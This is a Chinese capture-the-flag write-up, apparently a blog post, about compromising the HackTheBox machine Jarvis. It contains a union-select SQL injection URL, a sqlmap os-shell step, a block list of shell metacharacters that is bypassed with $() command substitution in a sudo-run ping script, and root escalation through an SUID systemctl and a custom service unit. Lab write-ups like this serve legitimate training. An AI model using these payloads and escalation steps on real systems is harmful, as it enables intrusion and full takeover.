靶机渗透_hackthebox__jarvis -7

目标IP:10.10.10.143

Nmap scan report for supersecurehotel.htb (10.10.10.143)
Host is up (0.28s latency).
Not shown: 939 closed ports, 58 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.13)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.13
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 278.00 seconds

22,80,8000端口,其中8000端口第二天访问的时候就给关闭了一个目录遍历的漏洞

所以重点都在80端口上目录爆破有几个url存在sql注入

另外有一个phpmyadmin 4.8.0

http://10.10.10.143/room.php?cod=-3%20union%20select%201,version(),user(),data
base(),5,6,7
2345
10.1.37-MariaDB-0+deb9u1
DBadmin@localhost
hotel

通过sql注入获得的一些信息

第一次访问8000端口时也拿到了一些文件 查看了一个文件 存在任意文件读取

<?php
error_reporting(0);
if($_POST['getfile']){
if(file_get_contents($_POST['getfile'])){
echo '<h4 style="color:black;">'.htmlspecialchars(file_get_contents($_POST['ge
tfile'])).'</h4>';
}
else{
echo '<h2 style="color:red">Nothing to show</h2>';
}
}
else{
header("Location:/index.php");}
?>

没有得到user.txt 那个文件应该有权限设置

因为注入的时候用户是DBadmin@localhost

所以尝试了一下sqlmap --os-shell

获得了www-data:shell

lrwxrwxrwx 1 root   root      9 Mar  4 11:11 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper  220 Mar  2 08:54 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar  2 08:54 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar  2 10:15 .nano
-rw-r--r-- 1 pepper pepper  675 Mar  2 08:54 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar  4 11:14 Web
-r--r----- 1 root   pepper   33 Mar  5 07:11 user.txt

 看到/home/下面用户的目录权限爱你无法读取所以之后应该是横向提权获得pepper 用户权限

sudo -l 

Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

不需要密码运行的simpler.py文件 用户是pepper 

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()
	
    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1
	
    print('Most Recent: ' + ip2 + ' --&gt; ' + str(dat) + ' ' + req)
	
def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req
			
def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]
	
def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req
	
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()
#
sys.exit()

这个文件中的重点有这个函数

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

执行ping命令是通过调用 os.system()而且command 命令有一个白名单限制

forbidden=['&',' ; ', ' -', '`', '||', '|']

常用的命令注入用到的都给禁用调用了不过有一个$内联注入

详细另一篇有一个在学习这个靶机时关于bash 命令这注入的使用这里不多介绍

sudo -u pepper ./simpler.py -p ${IP} $(eval_command)

拿到用户pepper 

之后上传Linenum脚本 获得系统详细信息

枚举信息中有一个有意思的服务

-rwsr-x--- 1 root pepper 174520 Feb 17 03:22 /bin/systemctl

在linux中通常使用这个命令对服务进行操作 常用于开启或者关闭,重启等是一个systemd工具负责控制systemd系统和服务管理器

而systemd 时一个系统管理守护进程,工具和库的集合

systemctl 开启 开启 重启服务
systemctl start service_name
systemctl stop service_name
systemctl restart service_name
linux下创建自定义服务

自定义服务脚本以service为后缀

文件存放于 /lib/systemd/system中

脚本分为三个部分

[Unit] [Service][Install]

Unit

         表明该服务的描述,类型描述,例如A单元需要在B单元启动之后在启动

可以通过Unit 下面的Requires、After、Before、Wants来调整

Requires=B 
After=B
设置表明A的启动依赖于B 在B启动之后启动 自己

 

Service

Type=forking 后台运行模式
PIDFile=path 存放PID文件的位置
ExecStart=/bin/echo XXX 服务运行的具体执行命令
ExecReload=/bin/echo XXX 服务重启的执行命令
ExecStop=/bin/echo XXX 服务停止的执行命令
 

Service 的启动方式。在service段中启动方式由
Type指定。
这里并不是很详细所以可以查看相关文章

创建一个自定义服务文件

[Unit]
Description=RS

[Service]
ExecStart=/home/pepper/shell.sh

[Install]
WantedBy=default.target

但是默认的路径并没有编辑权限

/usr/lib/systemd/system   # 系统服务,开机不需要登录就能运行的程序(相当于开
自启)

/usr/lib/systemd/user       # 用户服务,需要登录后才能运行的程序

这两个目录在靶机中需要root才可以编辑之后检查了systemctl 命令 
可以使用system enable path_service 
会创建服务的链接到需要的目录中
 

Created symlink /etc/systemd/system/default.target.wants/root.service → /home/user/kalitool/hackthebox/jarvis/root.service.

Created symlink /etc/systemd/system/root.service → /home/user/kalitool/hackth
ebox/jarvis/root.service.

之后就是正常的开启服务即可 systemctl start root

获得root.txt 拿到权限

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值